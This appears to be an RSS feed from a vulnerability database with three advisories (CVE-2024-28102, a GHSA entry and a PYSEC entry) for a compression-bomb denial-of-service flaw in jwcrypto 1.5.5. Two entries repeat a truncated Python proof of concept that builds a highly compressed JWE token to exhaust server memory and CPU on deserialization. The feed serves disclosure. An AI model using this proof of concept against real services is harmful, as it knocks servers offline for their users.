<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 29 Sep 2026 04:52:40 +0000</lastBuildDate>
    <item>
      <title>CVE-2024-28102 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
      <link>https://vulnerability.circl.lu/vuln/cve-2024-28102</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; latchset jwcrypto&lt;/p&gt;
&lt;p&gt;JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; latchset jwcrypto&lt;/p&gt;
&lt;p&gt;JWCrypto implements JWK, JWS, and JWE specifications using python-cryptography. Prior to version 1.5.6, an attacker can cause a denial of service attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this token, it will consume a lot of memory and processing time. Version 1.5.6 fixes this vulnerability by limiting the maximum token length.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/cve-2024-28102</guid>
    </item>
    <item>
      <title>GHSA-j857-7rvv-vj97 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-j857-7rvv-vj97</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jwcrypto&lt;/p&gt;
&lt;p&gt;## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5&lt;/p&gt;
&lt;p&gt;## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.&lt;/p&gt;
&lt;p&gt;## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty=&amp;#39;RSA&amp;#39;, size=2048)
public_key.import_key(**json_decode(private_key.export_public()))&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;zip&amp;#34;: &amp;#34;DEF&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----uncompress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;print(len(enc))&lt;/p&gt;
&lt;p&gt;begin = time.time()&lt;/p&gt;
&lt;p&gt;jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)&lt;/p&gt;
&lt;p&gt;print(time.time() - begin)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----compress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jwcrypto&lt;/p&gt;
&lt;p&gt;## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5&lt;/p&gt;
&lt;p&gt;## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.&lt;/p&gt;
&lt;p&gt;## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty=&amp;#39;RSA&amp;#39;, size=2048)
public_key.import_key(**json_decode(private_key.export_public()))&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;zip&amp;#34;: &amp;#34;DEF&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----uncompress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;print(len(enc))&lt;/p&gt;
&lt;p&gt;begin = time.time()&lt;/p&gt;
&lt;p&gt;jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)&lt;/p&gt;
&lt;p&gt;print(time.time() - begin)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----compress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-j857-7rvv-vj97</guid>
    </item>
    <item>
      <title>PYSEC-2026-1484 — JWCrypto vulnerable to JWT bomb Attack in `deserialize` function</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-1484</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jwcrypto&lt;/p&gt;
&lt;p&gt;## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5&lt;/p&gt;
&lt;p&gt;## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.&lt;/p&gt;
&lt;p&gt;## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty=&amp;#39;RSA&amp;#39;, size=2048)
public_key.import_key(**json_decode(private_key.export_public()))&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;zip&amp;#34;: &amp;#34;DEF&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----uncompress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;print(len(enc))&lt;/p&gt;
&lt;p&gt;begin = time.time()&lt;/p&gt;
&lt;p&gt;jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)&lt;/p&gt;
&lt;p&gt;print(time.time() - begin)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----compress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: jwcrypto&lt;/p&gt;
&lt;p&gt;## Affected version
Vendor: https://github.com/latchset/jwcrypto
Version: 1.5.5&lt;/p&gt;
&lt;p&gt;## Description
An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.
When the server processes this Token, it will consume a lot of memory and processing time.&lt;/p&gt;
&lt;p&gt;## Poc
```python
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode, json_decode
import time
public_key = jwk.JWK()
private_key = jwk.JWK.generate(kty=&amp;#39;RSA&amp;#39;, size=2048)
public_key.import_key(**json_decode(private_key.export_public()))&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;zip&amp;#34;: &amp;#34;DEF&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(compact=True)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----uncompress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;print(len(enc))&lt;/p&gt;
&lt;p&gt;begin = time.time()&lt;/p&gt;
&lt;p&gt;jwetoken = jwe.JWE()
jwetoken.deserialize(enc, key=private_key)&lt;/p&gt;
&lt;p&gt;print(time.time() - begin)&lt;/p&gt;
&lt;p&gt;print(&amp;#34;-----compress-----&amp;#34;)&lt;/p&gt;
&lt;p&gt;payload = &amp;#39;{&amp;#34;u&amp;#34;: &amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;, &amp;#34;uu&amp;#34;:&amp;#34;&amp;#39; + &amp;#34;u&amp;#34; * 400000 + &amp;#39;&amp;#34;}&amp;#39;
protected_header = {
    &amp;#34;alg&amp;#34;: &amp;#34;RSA-OAEP-256&amp;#34;,
    &amp;#34;enc&amp;#34;: &amp;#34;A256CBC-HS512&amp;#34;,
    &amp;#34;typ&amp;#34;: &amp;#34;JWE&amp;#34;,
    &amp;#34;kid&amp;#34;: public_key.thumbprint(),
}
jwetoken = jwe.JWE(payload.encode(&amp;#39;utf-8&amp;#39;),
                   recipient=public_key,
                   protected=protected_header)
enc = jwetoken.serialize(com…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-1484</guid>
    </item>
  </channel>
</rss>
